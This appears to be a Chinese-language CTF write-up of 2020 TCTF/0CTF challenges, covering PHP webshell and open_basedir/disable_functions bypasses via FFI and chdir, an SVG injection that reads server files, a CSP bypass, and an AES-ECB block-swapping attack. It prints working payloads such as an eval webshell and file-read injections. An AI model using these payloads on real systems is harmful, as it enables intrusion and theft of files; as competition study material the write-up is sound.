跟着 TD 打了一下 TCTF & 0CTF,基本0输出orz,给 TD 的大佬递 tea。
Web
easyphp
开局一个webshell,有 open_basedir 与 disable_functions 限制,普通方法都无法绕过。
可以用 glob + DirectoryIterator 列出根目录:
1 | POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1 |
1 | bin dev etc flag.h flag.so home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var |
发现 flag.h 与 flag.so,结合 phpinfo 中开启了 FFI,应该是用 FFI 调用 flag.so 中的方法。
尝试 FFI load flag.h,可以发现没有报500,说明成功加载。
1 | POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1 |
但是我们无法知道有什么方法,方法名是什么,也读取不了 flag.h,一直卡在这里。队里大佬开始 leak 内存来获取方法名,结果 leak 出了方法名:flag_fUn3t1on_fFi(我也不懂这些知识)。可以参考白泽的脚本:https://www.4hou.com/posts/p7BQ。
然后直接调用就好了:
发现很多队伍做出来了… open_basedir 中间坏了一段时间,应该是被人给搞了,大家都去直接读取 flag.h 了。
猜测可能有人打了 supervisor 的 php-fpm 来 getshell,进而改了 open_basedir。
noeasyphp
主办方不甘心,来了个复仇版,disable_functions 更加严格了,并且没有了 supervisor。
我们上个题的解法应该是预期解法,直接原样 leak 一下方法名,仅仅改了个方法名,然后getflag。所以题出来的时候我们直接把题秒了23333。
从flag来看,好像是有人打了 php-fpm,因为flag内容是 you can‘t use fpm now 之类的。
Wechat Generator
一个聊天界面,可以加内容与表情,可以截图。
加个表情,看一下发送的包:
1 | [{"type":0,"message":"Love you!"},{"type":1,"message":"[pout]Me too!!!"}] |
表情是中括号扩起来的,share 后查看图片路径:
1 | http://pwnable.org:5000/image/fRszcH/png |
把png改成html,不支持。改成 svg,可以正常显示,猜测这里使用imagemagick。改成htm也可以,其中表情处:
可以闭合引号进行 xss,但是 src 关键字被过滤了。
参考3月空指针公开赛:https://mp.weixin.qq.com/s/rMh-hABCdGpYpGqtFFiKOA
使用 xlink:href
读文件,构造如下payload:
1 | [{"type":0,"message":"Love you!"},{"type":1,"message":"[pout\"/><image href=\"text:/etc/passwd\" width=\"1000\" height=\"1000\"/> ]Me too!!!"}] |
可以读取 /etc/passwd:
盲猜直接读取 /app/app.py:
访问:http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws
需要 alert(1),但是有csp:
1 | Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self' |
使用 meta refresh进行跳转,meta被过滤使用双写绕过,构造以下payload:
1 | [{"type":0,"message":"Love you!"},{"type":1,"message":"[pout\"/><memetata http-equiv=\"refresh\" content=\"0; url=http://*****\"></memetata>\"]Me too!!!"}] |
服务器上是:
1 | <script>alert(1)</script> |
得到路径,换成htm后缀,提交:
lottery
分析题目,初始账户 30 个 coin,需要 99 个 coin 买 flag,花 10 个coin买彩票,得到的回报一般小于等于 10 个coin。
流程大体如下:
- 登陆账户,返回api_token;
- 点击买彩票,向
/lottery/buy
接口发送 api_token,返回 enc(加密的订单信息)。 - 向
/lottery/info
接口发送 enc,得到订单信息。(lottery的uuid,user的uuid以及得到的coin) - 点击charge,向
/lottery/charge
接口发送 user的uuid、coin以及enc,服务端对enc解密,校验 useruuid,无误把解密得到的coin加到user uuid 对应的user上。
分析关键的enc,拿两次 buy 得到的enc对比,发现是 16 字节一组,一共 8 组,中间还有一些组密文相同,不难得出加密模式是 AES ECB模式。/lottery/info
接口提供了 enc 解密的信息,我们可以保持一个enc不变,另一个enc每个分组分别替换成不变的enc对应的分组,依次对比解密信息的不同,可以发现user uuid涉及四个分组,从第四个分组到倒数第二个分组。
以 uuid 为 390e0a78-49ff-4264-8ddd-8b902319d189 为例。
1 | 第四组: xxxxxxxxxxxxxx39 |
我们有一个账户A,可以正常买彩票,如果我们找到一个uuid 前两位和后两位与账户A相同的账户B,那么我们可以用账户B buy 彩票,得到 enc 后把charge得钱的账户改成账户A(把enc第五组与第六组替换成账户A的密文),这样就把得到的钱转到A上了,并且买彩票用的是B账户的coin。多找几个这样的账户B,把钱都转到账户A上,就可以得到99个coin了。
我们需要爆破一堆 uuid 的前两位和后两位都一样的账户,然后把转到一个账户上。运气好的话大概需要爆五六个这样的账户。
爆破很慢… 采用多进程方式,脚本:
1 | import requests |
首先运行 processPools
函数爆破账户,大概爆到 7 个,差不多了。
1 | ✘ ⚙ 2020 0CTF python lottery.py |
把 api_token 复制下来,运行 exp
函数,一个账户可以转三次。
1 | ✘ ⚙ 2020 0CTF python lottery.py |
PS:这种做法是换userid,也可以换 lottery 的uuid,这样只需要爆破uuid前两位的user了,更快也不用多进程了。
Misc
cloud computing
打开题目,看起来可以写一个 webshell:
1 |
|
不过 waf 有过滤,可以考虑用数组绕过,file_put_contents 第二个参数是数组时,会把数组内容拼起来,进行写入。
所以可以构造以下 payload:
1 | http://pwnable.org:47781/?action=upload&data[0]=%3c&data[1]=%3f&data[2]=php eval($_POST[1]); |
这样就写入了一个webshell,然后发现有 open_basedir限制,使用 chdir绕过。
1 | error_reporting(-1);mkdir('sandbox/4a3499ebbdf052fa2413cf697e5164184c0d824d/gml');chdir('sandbox/4a3499ebbdf052fa2413cf697e5164184c0d824d/gml');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/')); |
读取flag,发现一大堆乱码,好像是个 img,转换成 base64读取,本地拿 foremost 跑一下:
1 | 2020 0CTF foremost 0ctfmisc |
出了个图片,里面有flag。
cloud computing v2
复仇版,ban了很多,chdir也不能用了,甚至 ini_get都不能用了,看样子上个题应该也是非预期。
file_get_contents(‘127.0.0.1’) 一下,发现80端口有个别的web服务。
这个agent,想起来v1的时候,根目录有个 agent 文件,拉下来,是个elf。
go写的web逆向,装了个 IDAGolangHelper 插件:
逆不动了… 有时间的话找个逆向手补一波。